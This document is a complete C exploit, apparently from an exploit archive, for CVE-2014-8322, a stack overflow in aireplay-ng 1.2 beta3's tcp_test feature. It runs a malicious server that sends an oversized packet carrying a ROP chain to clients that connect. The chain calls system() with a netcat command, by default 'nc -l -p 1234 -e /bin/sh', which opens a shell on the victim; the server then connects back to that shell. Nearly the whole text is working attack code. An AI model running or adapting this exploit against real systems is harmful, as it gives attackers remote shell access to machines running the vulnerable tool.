Aireplay-ng 1.2 beta3 - "tcp_test" Length Parameter Stack Overflow

/* * Exploit Title: Aireplay "tcp_test" Length Parameter Inconsistency * Date: 10/3/2014 * Exploit Author: Nick Sampanis * Vendor Homepage: http://www.aircrack-ng.org/ * Version: Aireplay-ng 1.2 beta3 * Tested on: Kali Linux 1.0.9 x64 * CVE : CVE-2014-8322 * Description: Affected option "aireplay-ng --test" */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/select.h> #include <sys/time.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define __packed __attribute__ ((__packed__)) struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; }__packed; #define POP_RDI "\xb8\x29\x40\x00\x00\x00\x00\x00" #define POP_RBX "\x88\x92\x41\x00\x00\x00\x00\x00" #define RPOP_RBX "\x00\x00\x00\x00\x00\x88\x92\x41" #define MOV_TO_RDI "\xf3\x47\x41\x00\x00\x00\x00\x00" #define COMMAND "nc -l -p 1234 -e /bin/sh\x00" #define SYSTEM "\x50\x23\x40\x00\x00\x00\x00\x00" #define PAD_BYTES 1304 unsigned char *exploit_init(char *command, size_t size); int main(int argc, char *argv[]) { struct net_hdr rh; struct sockaddr_in server, client; unsigned char *exploit; socklen_t len; size_t size; char *command, exec[1024]; int sockfd, cl, val = 1; printf("[+]Exploit for aireplay-ng tcp_test remote stack overflow\n"); printf("[+]Written by Nick Sampanis CVE-2014-8322\n"); if (argc == 1) { fprintf(stderr,"[-]Usage: %s port command\n" "[-][Default %s]\n", argv[0], COMMAND); return -1; } if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("[-]Socket()"); return -1; } memset((char *)&server, '\0', sizeof(server)); len = sizeof(server); server.sin_addr.s_addr = 0; server.sin_port = htons(atoi(argv[1])); server.sin_family = AF_INET; if (argv[2]) command = argv[2]; else command = COMMAND; setsockopt(sockfd, SOL_SOCKET,SO_REUSEADDR, &val, sizeof(val)); if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) == -1) { perror("bind()"); return -1; } if (listen(sockfd, 5) == -1) { perror("listen()"); return -1; } printf("[+]Server is waiting for connections on port %d\n", atoi(argv[1])); if (!(size = (strlen(command)+8)*5/4*8+PAD_BYTES+sizeof(rh))) return -1; exploit = exploit_init(command, size); while (1) { if ((cl = accept(sockfd, (struct sockaddr *)&client, &len)) == -1) { perror("[-]Accept"); return -1; } printf("[+]Client %s has been connected\n", inet_ntoa(client.sin_addr)); if (send(cl, exploit, size, 0) == -1) { perror("[-]Send"); return -1; } if (recv(cl, &rh, sizeof(rh), 0) == -1) { perror("[-]Recv"); return -1; } close(cl); sleep(1); if (!argv[2]) { printf("[+]Enjoy your shell\n\n"); snprintf(exec, sizeof(exec), "nc %s %d", inet_ntoa(client.sin_addr), atoi(argv[1])); system(exec); } } close(sockfd); free(exploit); return 0; } unsigned char *exploit_init(char *command, size_t size) { unsigned long DATA = 0x6265a0; unsigned char *buffer, *exploit; struct net_hdr nh; register int i, j; buffer = malloc(size); nh.nh_type = 0x1; nh.nh_len = htonl(size-sizeof(nh)); memcpy(buffer, &nh, sizeof(nh)); memset(buffer+sizeof(nh), 'A', PAD_BYTES); exploit = buffer+sizeof(nh)+PAD_BYTES; for (i = j = 0; j < strlen(command)+4; i+=5) { memcpy(exploit+i*8, POP_RDI, 8); memcpy(exploit+(i+1)*8, &DATA, 8); memcpy(exploit+(i+2)*8, POP_RBX, 8); memcpy(exploit+(i+3)*8, command+j, 8); memcpy(exploit+(i+4)*8, MOV_TO_RDI, 8); DATA += 4; j += 4; } DATA = 0x6265a0; /*.data*/ memcpy(exploit+i*8, POP_RDI, 8); memcpy(exploit+(i+1)*8, &DATA, 8); memcpy(exploit+(i+2)*8, SYSTEM, 8); return buffer; }